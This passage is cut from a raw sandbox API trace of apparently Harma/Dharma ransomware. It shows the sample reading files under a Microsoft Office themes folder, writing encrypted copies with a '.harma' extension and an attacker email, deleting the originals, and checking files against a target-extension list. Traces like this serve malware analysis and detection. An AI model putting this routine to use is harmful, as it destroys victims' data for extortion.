dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.361] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=25234) returned 1 [0057.361] CloseHandle (hObject=0x1d0) returned 1 [0057.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0057.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.361] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.361] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.361] GetLastError () returned 0x0 [0057.362] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x6292, lpOverlapped=0x0) returned 1 [0057.364] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0057.365] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.365] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.365] SetEndOfFile (hFile=0x200) returned 1 [0057.365] CloseHandle (hObject=0x200) returned 1 [0057.366] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.366] SetEndOfFile (hFile=0x1d0) returned 1 [0057.366] CloseHandle (hObject=0x1d0) returned 1 [0057.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.367] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.367] lstrlenW (lpString=".doc") returned 4 [0057.367] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.367] lstrlenW (lpString=".docx") returned 5 [0057.367] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.367] lstrlenW (lpString=".pdf") returned 4 [0057.367] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.367] lstrlenW (lpString=".xls") returned 4 [0057.367] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.367] lstrlenW (lpString=".xlsx") returned 5 [0057.367] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.368] lstrlenW (lpString=".ppt") returned 4 [0057.368] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.368] lstrlenW (lpString=".zip") returned 4 [0057.368] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.368] lstrlenW (lpString=".rar") returned 4 [0057.368] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.368] lstrlenW (lpString=".bz2") returned 4 [0057.368] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.368] lstrlenW (lpString=".7z") returned 3 [0057.368] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.368] lstrlenW (lpString=".dbf") returned 4 [0057.368] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.368] lstrlenW (lpString=".1cd") returned 4 [0057.368] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.368] lstrlenW (lpString=".jpg") returned 4 [0057.368] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.368] lstrlenW (lpString=".doc") returned 4 [0057.368] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.368] lstrlenW (lpString=".docx") returned 5 [0057.368] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.368] lstrlenW (lpString=".pdf") returned 4 [0057.368] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.368] lstrlenW (lpString=".xls") returned 4 [0057.368] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.368] lstrlenW (lpString=".xlsx") returned 5 [0057.369] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.369] lstrlenW (lpString=".ppt") returned 4 [0057.369] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.369] lstrlenW (lpString=".zip") returned 4 [0057.369] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.369] lstrlenW (lpString=".rar") returned 4 [0057.369] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.369] lstrlenW (lpString=".bz2") returned 4 [0057.369] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.369] lstrlenW (lpString=".7z") returned 3 [0057.369] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.369] lstrlenW (lpString=".dbf") returned 4 [0057.369] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.369] lstrlenW (lpString=".1cd") returned 4 [0057.369] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0057.369] lstrlenW (lpString=".jpg") returned 4 [0057.369] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.369] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.369] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.371] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=34916) returned 1 [0057.371] CloseHandle (hObject=0x1d0) returned 1 [0057.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0057.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.372] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.372] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.416] GetLastError () returned 0x0 [0057.435] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x8864, lpOverlapped=0x0) returned 1 [0057.459] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8870, lpOverlapped=0x0) returned 1 [0057.461] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.461] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.462] SetEndOfFile (hFile=0x1ec) returned 1 [0057.462] CloseHandle (hObject=0x1ec) returned 1 [0057.462] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.462] SetEndOfFile (hFile=0x1d0) returned 1 [0057.463] CloseHandle (hObject=0x1d0) returned 1 [0057.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0057.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.465] lstrlenW (lpString=".doc") returned 4 [0057.465] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.465] lstrlenW (lpString=".docx") returned 5 [0057.465] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.465] lstrlenW (lpString=".pdf") returned 4 [0057.465] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.465] lstrlenW (lpString=".xls") returned 4 [0057.465] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.465] lstrlenW (lpString=".xlsx") returned 5 [0057.465] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.465] lstrlenW (lpString=".ppt") returned 4 [0057.465] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.465] lstrlenW (lpString=".zip") returned 4 [0057.465] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.465] lstrlenW (lpString=".rar") returned 4 [0057.465] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.465] lstrlenW (lpString=".bz2") returned 4 [0057.465] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.465] lstrlenW (lpString=".7z") returned 3 [0057.465] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.465] lstrlenW (lpString=".dbf") returned 4 [0057.466] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.466] lstrlenW (lpString=".1cd") returned 4 [0057.466] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.466] lstrlenW (lpString=".jpg") returned 4 [0057.466] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.466] lstrlenW (lpString=".doc") returned 4 [0057.466] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.467] lstrlenW (lpString=".docx") returned 5 [0057.467] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.467] lstrlenW (lpString=".pdf") returned 4 [0057.467] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.467] lstrlenW (lpString=".xls") returned 4 [0057.467] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.467] lstrlenW (lpString=".xlsx") returned 5 [0057.467] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.467] lstrlenW (lpString=".ppt") returned 4 [0057.467] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.467] lstrlenW (lpString=".zip") returned 4 [0057.467] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.467] lstrlenW (lpString=".rar") returned 4 [0057.467] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.467] lstrlenW (lpString=".bz2") returned 4 [0057.467] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.467] lstrlenW (lpString=".7z") returned 3 [0057.467] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.467] lstrlenW (lpString=".dbf") returned 4 [0057.467] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.468] lstrlenW (lpString=".1cd") returned 4 [0057.468] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0057.468] lstrlenW (lpString=".jpg") returned 4 [0057.468] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.468] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.468] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.469] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3479) returned 1 [0057.469] CloseHandle (hObject=0x1d0) returned 1 [0057.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0057.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.469] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.469] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.475] GetLastError () returned 0x0 [0057.475] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xd97, lpOverlapped=0x0) returned 1 [0057.478] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xda0, lpOverlapped=0x0) returned 1 [0057.479] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.479] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.479] SetEndOfFile (hFile=0x1ec) returned 1 [0057.480] CloseHandle (hObject=0x1ec) returned 1 [0057.480] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.480] SetEndOfFile (hFile=0x1d0) returned 1 [0057.481] CloseHandle (hObject=0x1d0) returned 1 [0057.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.481] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0057.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.482] lstrlenW (lpString=".doc") returned 4 [0057.482] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.482] lstrlenW (lpString=".docx") returned 5 [0057.482] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.482] lstrlenW (lpString=".pdf") returned 4 [0057.482] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.482] lstrlenW (lpString=".xls") returned 4 [0057.482] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.482] lstrlenW (lpString=".xlsx") returned 5 [0057.482] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.482] lstrlenW (lpString=".ppt") returned 4 [0057.482] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.482] lstrlenW (lpString=".zip") returned 4 [0057.482] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.483] lstrlenW (lpString=".rar") returned 4 [0057.483] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.483] lstrlenW (lpString=".bz2") returned 4 [0057.483] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.483] lstrlenW (lpString=".7z") returned 3 [0057.483] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.483] lstrlenW (lpString=".dbf") returned 4 [0057.483] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.483] lstrlenW (lpString=".1cd") returned 4 [0057.483] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.483] lstrlenW (lpString=".jpg") returned 4 [0057.483] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.483] lstrlenW (lpString=".doc") returned 4 [0057.483] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.483] lstrlenW (lpString=".docx") returned 5 [0057.483] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.483] lstrlenW (lpString=".pdf") returned 4 [0057.484] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.484] lstrlenW (lpString=".xls") returned 4 [0057.484] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.484] lstrlenW (lpString=".xlsx") returned 5 [0057.484] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.484] lstrlenW (lpString=".ppt") returned 4 [0057.484] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.484] lstrlenW (lpString=".zip") returned 4 [0057.484] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.484] lstrlenW (lpString=".rar") returned 4 [0057.484] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.484] lstrlenW (lpString=".bz2") returned 4 [0057.484] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.484] lstrlenW (lpString=".7z") returned 3 [0057.484] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.484] lstrlenW (lpString=".dbf") returned 4 [0057.484] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.484] lstrlenW (lpString=".1cd") returned 4 [0057.484] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0057.484] lstrlenW (lpString=".jpg") returned 4 [0057.484] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.485] lstrcmpiW (lpString1=".PNG", 